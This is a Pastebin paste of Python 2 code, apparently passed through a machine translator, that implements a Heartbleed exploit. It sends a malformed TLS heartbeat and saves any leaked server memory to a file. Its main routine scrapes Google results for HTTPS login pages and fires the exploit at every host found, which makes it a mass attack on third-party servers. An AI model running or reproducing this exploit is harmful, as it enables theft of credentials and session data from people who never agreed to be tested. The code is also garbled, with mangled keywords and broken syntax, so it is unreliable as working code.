Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Import SYS
- Import struct
- Import socket
- Import time
- Import Select
- Import Re
- Import urllib2
- from urlparse Import urlparse
- def h2bin ( x ):
- return x . replace ( '' , '' ). replace ( '\ N' , '' ). decode ( 'hex' )
- hello = h2bin ( '' '
- 16 03 02 00 dc 01 00 00 d8 03 02 53
- 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
- bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
- 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
- 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
- c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
- c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
- c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
- c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
- 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
- 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
- 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
- 0,006,000,700,140,015 0,004,000,500,120,013
- 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
- 00 0f 00 01 01
- '' ' )
- HB = h2bin ( '' '
- 1803020003
- 014000
- '' ' )
- def hexdump ( s ):
- for b in xrange ( 0 , len ( s ), 16 ):
- lin = [ c for c in s [ b : b + 16 ]]
- hxdat = '' . Join ( '% 02X' % ORD ( c ) for c in lin )
- PDAT = '' . Join (( c if 32 <= ORD ( c ) <= 126 else '.' ) for c in lin )
- Print '% 04x:%-48S% s' % ( b , hxdat , PDAT )
- Print
- def recvall ( s , length , timeout = 5 ):
- EndTime = time . time () + timeout
- RDATA = ''
- REMAIN = length
- while REMAIN > 0 :
- RTIME = EndTime - time . time ()
- if RTIME < 0 :
- return None
- r , w , e = Select . Select ([ s ], [], [], 5 )
- if s in r :
- Data = s . recv ( REMAIN )
- # EOF?
- if Not Data :
- return None
- RDATA + = Data
- REMAIN - = len ( Data )
- return RDATA
- def recvmsg ( s ):
- HDR = recvall ( s , 5 )
- if HDR is None :
- Print 'Unexpected EOF Receiving record header - Server Closed connection'
- return None , None , None
- typ , Ver , LN = struct . unpack ( '> BHH ' , HDR )
- Pay = recvall ( s , LN , 10 )
- if Pay is None :
- Print 'Unexpected EOF Receiving record payload - Server Closed connection'
- return None , None , None
- Print '... received message: type =% d, Ver =% 04x, length =% d ' % ( typ , Ver , len ( Pay ))
- return typ , Ver , Pay
- def hit_hb ( s , eurl ):
- s . send ( HB )
- while True :
- typ , Ver , Pay = recvmsg ( s )
- if typ is None :
- Print 'No Response received heartbeat, Server Likely Not Vulnerable'
- return False
- if typ == 24 :
- Print 'Received heartbeat Response:'
- hexdump ( Pay )
- if len ( Pay ) > 3 :
- Print 'WARNING:! Data Server returned More than it Should - Server is Vulnerable'
- f = Open ( eurl , 'w ' )
- f . Write ( Pay )
- f . Close ()
- else :
- Print 'Server Processed Malformed heartbeat, but did Not return any Extra Data'.
- return True
- if typ == 21 :
- Print 'Received Alert:'
- hexdump ( Pay )
- Print 'Server returned Error, Likely Not Vulnerable'
- return False
- def SSLTEST ( eurl ):
- s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
- Print '... Connecting to% s' % eurl
- SYS . stdout . flush ()
- s . Connect (( eurl , 443 ))
- Print 'Sending Client Hello ...'
- SYS . stdout . flush ()
- s . send ( hello )
- Print 'Waiting for Server Hello ...'
- SYS . stdout . flush ()
- while True :
- typ , Ver , Pay = recvmsg ( s )
- if typ == None :
- Print '. Server Closed connection without Sending Server Hello'
- return
- . # Look for Server hello DONE message
- if typ == 22 and ORD ( Pay [ 0 ]) == 0x0E :
- break
- Print 'Sending heartbeat Request ...'
- SYS . stdout . flush ()
- s . send ( HB )
- hit_hb ( s , eurl )
- # Proxy_support = urllib2.ProxyHandler ({'http': 'http://127.0.0.1:8087'}) # proxy serve
- # opener = urllib2.build_opener (proxy_support, urllib2.HTTPHandler)
- # urllib2.install_opener (opener)
- headers = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.168 Safari/535.19' }
- def main ():
- Print 'started crawling, please wait'
- for x in Range ( 0 , 500 , 10 ):
- f = Open ( "link.txt" , 'a' )
- URL = "https://www.google .com / search q = inurl:? https://+ login & start =% d " % x # Google search
- # URL = "http://www.baidu.com/ # wd = inurl: https://+ Login & pn =% d "% x # Baidu search
- # URL = "https://www.bing.com/search?q=inurl:https://+ Login & first =% d"% x # Bing search
- # URL = " http://www.sogou.com/web?query=inurl:https://&page =% d "% x # Sogou search
- REQ = urllib2 . Request ( url = URL , headers = headers )
- content = urllib2 . urlopen ( REQ .) Read ()
- a = Re . findall ( r '(https:// * /.?)' , content )
- b = list ( set ( a ))
- for i in b :
- O = urlparse ( i )
- f . writelines ( O . netloc + '\ N' )
- Print "has climbed Page% s" % ( x / 10 + 1 )
- delay = 5
- f . Close ()
- f = Open ( "link.txt" , 'r' )
- for line in f :
- line = line . Strip ()
- SSLTEST ( line )
- if __ name__ == '__main__' :
- main ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement